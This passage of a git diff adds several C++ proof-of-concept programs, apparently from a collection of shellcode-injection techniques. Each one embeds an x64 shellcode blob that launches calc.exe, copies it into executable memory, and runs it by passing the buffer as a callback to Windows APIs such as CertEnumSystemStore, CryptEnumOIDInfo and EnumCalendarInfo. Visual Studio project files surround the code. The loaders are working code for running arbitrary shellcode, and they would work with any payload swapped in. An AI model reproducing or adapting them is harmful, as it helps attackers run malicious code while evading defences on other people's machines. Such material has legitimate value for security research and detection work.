= Release|Win32 + {0091D5E9-A212-4C34-857F-0DB13D272AA2}.Debug|x64.ActiveCfg = Debug|x64 + {0091D5E9-A212-4C34-857F-0DB13D272AA2}.Debug|x64.Build.0 = Debug|x64 + {0091D5E9-A212-4C34-857F-0DB13D272AA2}.Debug|x86.ActiveCfg = Debug|Win32 + {0091D5E9-A212-4C34-857F-0DB13D272AA2}.Debug|x86.Build.0 = Debug|Win32 + {0091D5E9-A212-4C34-857F-0DB13D272AA2}.Release|x64.ActiveCfg = Release|x64 + {0091D5E9-A212-4C34-857F-0DB13D272AA2}.Release|x64.Build.0 = Release|x64 + {0091D5E9-A212-4C34-857F-0DB13D272AA2}.Release|x86.ActiveCfg = Release|Win32 + {0091D5E9-A212-4C34-857F-0DB13D272AA2}.Release|x86.Build.0 = Release|Win32 + {383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Debug|x64.ActiveCfg = Debug|x64 + {383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Debug|x64.Build.0 = Debug|x64 + {383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Debug|x86.ActiveCfg = Debug|Win32 + {383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Debug|x86.Build.0 = Debug|Win32 + {383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Release|x64.ActiveCfg = Release|x64 + {383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Release|x64.Build.0 = Release|x64 + {383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Release|x86.ActiveCfg = Release|Win32 + {383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}.Release|x86.Build.0 = Release|Win32 + {F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Debug|x64.ActiveCfg = Debug|x64 + {F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Debug|x64.Build.0 = Debug|x64 + {F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Debug|x86.ActiveCfg = Debug|Win32 + {F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Debug|x86.Build.0 = Debug|Win32 + {F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Release|x64.ActiveCfg = Release|x64 + {F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Release|x64.Build.0 = Release|x64 + {F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Release|x86.ActiveCfg = Release|Win32 + {F169F79E-D307-4EA9-818D-8C8FF5B7138D}.Release|x86.Build.0 = Release|Win32 + {D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Debug|x64.ActiveCfg = Debug|x64 + {D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Debug|x64.Build.0 = Debug|x64 + {D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Debug|x86.ActiveCfg = Debug|Win32 + {D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Debug|x86.Build.0 = Debug|Win32 + {D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Release|x64.ActiveCfg = Release|x64 + {D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Release|x64.Build.0 = Release|x64 + {D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Release|x86.ActiveCfg = Release|Win32 + {D3788A6D-E9D8-44FF-B368-B42BC341C8F5}.Release|x86.Build.0 = Release|Win32 + {D21641FB-1935-4ED9-B511-BC80F00B733F}.Debug|x64.ActiveCfg = Debug|x64 + {D21641FB-1935-4ED9-B511-BC80F00B733F}.Debug|x64.Build.0 = Debug|x64 + {D21641FB-1935-4ED9-B511-BC80F00B733F}.Debug|x86.ActiveCfg = Debug|Win32 + {D21641FB-1935-4ED9-B511-BC80F00B733F}.Debug|x86.Build.0 = Debug|Win32 + {D21641FB-1935-4ED9-B511-BC80F00B733F}.Release|x64.ActiveCfg = Release|x64 + {D21641FB-1935-4ED9-B511-BC80F00B733F}.Release|x64.Build.0 = Release|x64 + {D21641FB-1935-4ED9-B511-BC80F00B733F}.Release|x86.ActiveCfg = Release|Win32 + {D21641FB-1935-4ED9-B511-BC80F00B733F}.Release|x86.Build.0 = Release|Win32 + {5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Debug|x64.ActiveCfg = Debug|x64 + {5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Debug|x64.Build.0 = Debug|x64 + {5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Debug|x86.ActiveCfg = Debug|Win32 + {5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Debug|x86.Build.0 = Debug|Win32 + {5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Release|x64.ActiveCfg = Release|x64 + {5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Release|x64.Build.0 = Release|x64 + {5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Release|x86.ActiveCfg = Release|Win32 + {5007CFB3-4072-4B23-9FF9-BDE0B75286F1}.Release|x86.Build.0 = Release|Win32 + {179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Debug|x64.ActiveCfg = Debug|x64 + {179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Debug|x64.Build.0 = Debug|x64 + {179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Debug|x86.ActiveCfg = Debug|Win32 + {179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Debug|x86.Build.0 = Debug|Win32 + {179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Release|x64.ActiveCfg = Release|x64 + {179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Release|x64.Build.0 = Release|x64 + {179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Release|x86.ActiveCfg = Release|Win32 + {179D883D-4DC3-4EDB-848B-3FE8C3C5554C}.Release|x86.Build.0 = Release|Win32 + {4DC52185-7351-4EFA-A364-65945302F470}.Debug|x64.ActiveCfg = Debug|x64 + {4DC52185-7351-4EFA-A364-65945302F470}.Debug|x64.Build.0 = Debug|x64 + {4DC52185-7351-4EFA-A364-65945302F470}.Debug|x86.ActiveCfg = Debug|Win32 + {4DC52185-7351-4EFA-A364-65945302F470}.Debug|x86.Build.0 = Debug|Win32 + {4DC52185-7351-4EFA-A364-65945302F470}.Release|x64.ActiveCfg = Release|x64 + {4DC52185-7351-4EFA-A364-65945302F470}.Release|x64.Build.0 = Release|x64 + {4DC52185-7351-4EFA-A364-65945302F470}.Release|x86.ActiveCfg = Release|Win32 + {4DC52185-7351-4EFA-A364-65945302F470}.Release|x86.Build.0 = Release|Win32 + {5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Debug|x64.ActiveCfg = Debug|x64 + {5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Debug|x64.Build.0 = Debug|x64 + {5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Debug|x86.ActiveCfg = Debug|Win32 + {5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Debug|x86.Build.0 = Debug|Win32 + {5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Release|x64.ActiveCfg = Release|x64 + {5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Release|x64.Build.0 = Release|x64 + {5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Release|x86.ActiveCfg = Release|Win32 + {5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}.Release|x86.Build.0 = Release|Win32 + {DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Debug|x64.ActiveCfg = Debug|x64 + {DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Debug|x64.Build.0 = Debug|x64 + {DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Debug|x86.ActiveCfg = Debug|Win32 + {DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Debug|x86.Build.0 = Debug|Win32 + {DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Release|x64.ActiveCfg = Release|x64 + {DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Release|x64.Build.0 = Release|x64 + {DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Release|x86.ActiveCfg = Release|Win32 + {DE7B0D0A-371D-4401-B2A2-A83E891AB90A}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/CertEnumSystemStore/CertEnumSystemStore.cpp b/CertEnumSystemStore/CertEnumSystemStore.cpp new file mode 100644 index 0000000..cc18d14 --- /dev/null +++ b/CertEnumSystemStore/CertEnumSystemStore.cpp @@ -0,0 +1,40 @@ +#include +#include +#include + +// Requires Crypt32.lib + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + +int main() { + + + LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ::RtlMoveMemory(addr, op, sizeof(op)); + + ::CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)addr); + + +} \ No newline at end of file diff --git a/CertEnumSystemStore/CertEnumSystemStore.vcxproj b/CertEnumSystemStore/CertEnumSystemStore.vcxproj new file mode 100644 index 0000000..144d6a9 --- /dev/null +++ b/CertEnumSystemStore/CertEnumSystemStore.vcxproj @@ -0,0 +1,151 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {fcd8bb2e-81ab-487a-ba1b-d8e5463bddb7} + CertEnumSystemStore + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies) + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies) + + + + + + + + + \ No newline at end of file diff --git a/CertEnumSystemStore/CertEnumSystemStore.vcxproj.filters b/CertEnumSystemStore/CertEnumSystemStore.vcxproj.filters new file mode 100644 index 0000000..fb1f483 --- /dev/null +++ b/CertEnumSystemStore/CertEnumSystemStore.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/CertEnumSystemStoreLocation/CertEnumSystemStoreLocation.cpp b/CertEnumSystemStoreLocation/CertEnumSystemStoreLocation.cpp new file mode 100644 index 0000000..02fda4c --- /dev/null +++ b/CertEnumSystemStoreLocation/CertEnumSystemStoreLocation.cpp @@ -0,0 +1,40 @@ +#include +#include +#include + +// requires Crypt32.lib + + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + +int main() { + + + LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ::RtlMoveMemory(addr, op, sizeof(op)); + + ::CertEnumSystemStoreLocation(NULL, nullptr, (PFN_CERT_ENUM_SYSTEM_STORE_LOCATION)addr); + +} \ No newline at end of file diff --git a/CertEnumSystemStoreLocation/CertEnumSystemStoreLocation.vcxproj b/CertEnumSystemStoreLocation/CertEnumSystemStoreLocation.vcxproj new file mode 100644 index 0000000..fe368de --- /dev/null +++ b/CertEnumSystemStoreLocation/CertEnumSystemStoreLocation.vcxproj @@ -0,0 +1,151 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {af51fd2c-1d6c-4110-8e1b-f016f2eeafc7} + CertEnumSystemStoreLocation + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies) + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies) + + + + + + + + + \ No newline at end of file diff --git a/CertEnumSystemStoreLocation/CertEnumSystemStoreLocation.vcxproj.filters b/CertEnumSystemStoreLocation/CertEnumSystemStoreLocation.vcxproj.filters new file mode 100644 index 0000000..92861da --- /dev/null +++ b/CertEnumSystemStoreLocation/CertEnumSystemStoreLocation.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/CopyFileEx/CopyFileEx.cpp b/CopyFileEx/CopyFileEx.cpp index 1d540ec..4f8f808 100644 --- a/CopyFileEx/CopyFileEx.cpp +++ b/CopyFileEx/CopyFileEx.cpp @@ -1,16 +1,5 @@ #include #include -#include - - -int err(const char* errmsg) { - - - printf("Error: %s (%u)\n", errmsg, ::GetLastError()); - return 1; - -} - // alfarom256 calc shellcode unsigned char op[] = diff --git a/CreateThreadPoolWait/CreateThreadPoolWait.cpp b/CreateThreadPoolWait/CreateThreadPoolWait.cpp index ec9b5df..6b1244d 100644 --- a/CreateThreadPoolWait/CreateThreadPoolWait.cpp +++ b/CreateThreadPoolWait/CreateThreadPoolWait.cpp @@ -2,6 +2,8 @@ #include #include +// This technique was developed by alfarom256 please check out his awesome work! + #define LEN 277 // run calc @@ -60,4 +62,6 @@ int main() { Sleep(9000); } + + } \ No newline at end of file diff --git a/CryptEnumOIDInfo/CryptEnumOIDInfo.cpp b/CryptEnumOIDInfo/CryptEnumOIDInfo.cpp new file mode 100644 index 0000000..6ed4b53 --- /dev/null +++ b/CryptEnumOIDInfo/CryptEnumOIDInfo.cpp @@ -0,0 +1,44 @@ +#include +#include +#include + +#pragma comment(lib, "Crypt32.lib") + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + + +int main() { + + + LPVOID address = VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + + CryptEnumOIDInfo(NULL, NULL, NULL, (PFN_CRYPT_ENUM_OID_INFO)address); + + + return 0; + +} \ No newline at end of file diff --git a/CryptEnumOIDInfo/CryptEnumOIDInfo.vcxproj b/CryptEnumOIDInfo/CryptEnumOIDInfo.vcxproj new file mode 100644 index 0000000..25f5b4b --- /dev/null +++ b/CryptEnumOIDInfo/CryptEnumOIDInfo.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {d21641fb-1935-4ed9-b511-bc80f00b733f} + CryptEnumOIDInfo + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/CryptEnumOIDInfo/CryptEnumOIDInfo.vcxproj.filters b/CryptEnumOIDInfo/CryptEnumOIDInfo.vcxproj.filters new file mode 100644 index 0000000..5123c51 --- /dev/null +++ b/CryptEnumOIDInfo/CryptEnumOIDInfo.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumCalendarInfo/EnumCalendarInfo.cpp b/EnumCalendarInfo/EnumCalendarInfo.cpp new file mode 100644 index 0000000..42b1942 --- /dev/null +++ b/EnumCalendarInfo/EnumCalendarInfo.cpp @@ -0,0 +1,30 @@ +#include + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + +int main() { + LPVOID addr = ::VirtualAlloc(nullptr, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ::RtlMoveMemory(addr, op, sizeof(op)); + ::EnumCalendarInfo((CALINFO_ENUMPROC)addr, LOCALE_USER_DEFAULT, ENUM_ALL_CALENDARS, CAL_SMONTHNAME1); +} \ No newline at end of file diff --git a/EnumCalendarInfo/EnumCalendarInfo.vcxproj b/EnumCalendarInfo/EnumCalendarInfo.vcxproj new file mode 100644 index 0000000..02c3958 --- /dev/null +++ b/EnumCalendarInfo/EnumCalendarInfo.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F} + EnumCalendarInfo + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumCalendarInfoEx/EnumCalendarInfoEx.cpp b/EnumCalendarInfoEx/EnumCalendarInfoEx.cpp new file mode 100644 index 0000000..a004353 --- /dev/null +++ b/EnumCalendarInfoEx/EnumCalendarInfoEx.cpp @@ -0,0 +1,30 @@ +#include + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" 